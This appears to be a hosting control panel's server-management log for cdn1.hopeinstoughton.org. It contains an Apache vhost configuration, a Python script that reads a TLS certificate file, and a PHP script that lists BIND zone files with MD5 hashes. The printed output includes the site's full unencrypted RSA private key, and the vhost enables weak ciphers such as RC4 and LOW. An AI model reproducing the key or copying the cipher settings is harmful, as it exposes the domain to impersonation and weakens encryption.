    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_error.log
    SetEnv pkp_uid	28
    SetEnv pkp_owner	stoughton
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	cdn1.hopeinstoughton.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/hopeinstoughton_cdn1
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt
    <Directory /var/www/hopeinstoughton_cdn1>
        Options	+FollowSymLinks -MultiViews -Indexes
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/hopeinstoughton/cdn1_secure_access.log combined
    ErrorLog	/var/log/apache2/hopeinstoughton/cdn1_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.py index.php
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php8.1-stoughton.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>







2026-01-03 16:50:44: 

PUT: /tmp/pkp257896

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-01-03 16:50:44: 

chmod 755 /tmp/pkp257896; /tmp/pkp257896; rm /tmp/pkp257896

2026-01-03 16:50:44: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/0660cc0c014b1256b25525c3494eafa0.crt	5382
dc:ac:d7:8c:ac:9c:f3:bb:7a:75:27:9d:db:f3:c3:40

-----BEGIN CERTIFICATE-----
MIIFEzCCA/ugAwIBAgISBlGWBYIS1KxHuvMjPwsSNyo+MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMTAzMTU1MjA4WhcNMjYwNDAzMTU1MjA3WjAjMSEwHwYDVQQD
ExhjZG4xLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQCqPBo3D8f5PmysdoqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqO
BK+kXKYvIsV134e0uhNItRlJxMNPXXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5E
h6icSkdAj+ATlwdFp2H7yb0qlPOzvnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsR
IZx+ei2k5INbBo+hnbqwnzDFUBuJ4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeE
poow5YowvfIZ2DwPg0d/rNOJNAXhbX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpS
qZvzruoJybznALyXZdMdJALhCmggOS4rL+9ZAgMBAAGjggIvMIICKzAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFAldEIysE9r2CTAjcEMsEXYtrK3XMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYY2RuMS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvNjMuY3JsMIIBCwYKKwYBBAHW
eQIEAgSB/ASB+QD3AH0A4yON8o2iiOCq4Kzw+pDJhfC2v/XSpSewAfwcRFjEtugA
AAGbhMSlOwAIAAAFAC4rCkEEAwBGMEQCIEH+nb0wbOrqcwA/rQbmUzKc5Xupt4WF
6MP1xZpUK1qtAiB3Tp4br0O7GMFC69EISfPkkoSMeG3+uPElzktojCEwlgB2ANFu
qaVoB35mNaA/N6XdvAOlPEESFNSIGPXpMbMjy5UEAAABm4TEtLYAAAQDAEcwRQIh
AKt5WmMJubpRM5+8CQBpE9AjZ9fvi04RNyDdPSe/TYCMAiAdslu8mz9BgQpT7gGY
BKBgPnWi1oZv+HF9bggFbE7EmjANBgkqhkiG9w0BAQsFAAOCAQEALukizu7r7M9n
2kqQ5eHMnVJOoBvVMGWK2XW6Kj+q9f7Chw7wbr0CKuX2FmEnfISnlUR74tMlqVu6
fU2MmM8f8n7CZkLYCIjjY6kmCLX1rSOAjJy4DwE3APyiia+iEodQ910nBudCYs9i
nYJ20hNl+1SiBEbzOFLJcIe90dTQYZv04azyyOLCQgRqKYxue/rH/hzdGGosf5sl
SG+zvVmeJ1ml5O4qsPYrsKXKvlmek9CIj+zSUKl2AMr3Jv2ZJvEmiJPIOn4Sk0TK
j8ypKgpMADNrtkS28/+o1AoW2Cn/zOmUAxwJgyQce+/EMXmPXsy3VqHKETlNSbkp
VhI+50CfCg==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCqPBo3D8f5Pmys
doqanVttK3Yfzl53GZhvtt6ix4prJOyHJCqOBK+kXKYvIsV134e0uhNItRlJxMNP
XXpQ+lCxTqVaMcXGIe9L5hSlgN12WgLBiA5Eh6icSkdAj+ATlwdFp2H7yb0qlPOz
vnt5oE16p4FACeWjr+PDWh+A0nRPp0ZaZcsRIZx+ei2k5INbBo+hnbqwnzDFUBuJ
4ilxUJrKmA8HrFYd1uTh+biUHP1GDEtqNFeEpoow5YowvfIZ2DwPg0d/rNOJNAXh
bX5fmGV6P/gr/XlmUpw0mUiJE9a6WS8D+rpSqZvzruoJybznALyXZdMdJALhCmgg
OS4rL+9ZAgMBAAECggEABXAO4KWM/Exu7BG2SuA4uyjpU0nu27bngbaxmmQC1c9+
YbEOo0OJjm0U3t++tyLugrVIkpORrPj6HychK4SEvtaAXXxGW8Dvk/j+aFdQhlcI
4as0VM07iNCDlvpG4gFP7rznxO30WwTv2uo8UfiETmUa3GjkhbZuMVTdOZV0uIBA
kW/0zqZIz+N61MWLOJUBuruKAt29rt5Y8x7wXQwSZcq/vX9uer2BQ5VDSmAAM60p
xiz89rqFKNbly2TVNk6HPtLqAs9OUnr25xIhdSfUXAXQ44VgCU2X1Qb5hOodB7HK
wKkfE66Mg93yGgERU/8EtWO7IfvkvzQVngdWuPHS/QKBgQDkCTbQBrWMteVtlEaq
MlQ5u8mxX964DnxhKilSGk/14y94pEYS8tGU3g4ByWNbbYJGSdu6agJE+OluJ0mY
kNmXN2GYk+ojrMhYxZR5gtfeJXU9p29bSUZIsZ8GzVDWEo0PHGa/r4NF4JM5Ia81
VK6CH0bmQKVYPuYC45PZQytrjQKBgQC/HFJNW7ZOMMFWkiKP9t3vFdgvTCfUXazf
cPfU5+6abJfMAxOZL9pg859hhRO1WXpXtf6nWYpegjy+J8Qw4K0sW4qOK9oHISmV
ZqSqf0S4Ywb3YEZOnqMpirnI7SPFEtyrqlO9EaRe7jEv4ODMrUtYVDdcGMoxJgzw
JHLGjHV5/QKBgDSrUCayNgKfDLPHmJ686yk+j3JRg16dseq7Uznsa+WOKKvDvY+o
1/F7bF7LRhCa9YkIjCC9VXLazwerOVtssWU03GziVSUSRmACmq2KJBPiMPchkh3S
idJGfEWU7IPVWxFPbQf/IOHl4ftDJXW67meNk9Ggws/kDzpBmCeJVSENAoGAK3hK
tDPnPNPUNlfZKrvxcV+bo+6DpMeF+fEdPj1fRZrr0Ejm3VJILwNbPnhhqj9nF6pa
+T/hvGuNW4d6FdAVM+DCnGIXHsYJSmVlkS6PuA02WXB5rYph/KIEblKab0pCDX4Z
vAjWRY2SfJx/Ja9JUxcc3IL7AsDv8nOn88ehNRUCgYBAoJTSWqV5aNUk33M5eCQY
p7P6PTl0zkikW9CK4o9loxRULQyF33CtHXYrKD9sCiNUpjHo4bJnylNWCpvUeYW4
U/QSF/81v/HDrGH/p9U/jtm9bYSLejIhtg9e6BU7Q6r/BWg8i6mpIrUnO+8pQKVT
hbCdklqqo/QKXFaosW/L7A==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2026-01-03 17:40:58: Establishing a connection
2026-01-03 17:41:24: Establishing a connection
2026-01-03 17:41:24: 

PUT: /tmp/pkp501649

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 17:41:25: 

runuser -l bind -s /bin/bash -c '/tmp/pkp501649; rm /tmp/pkp501649'

2026-01-03 17:41:25: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
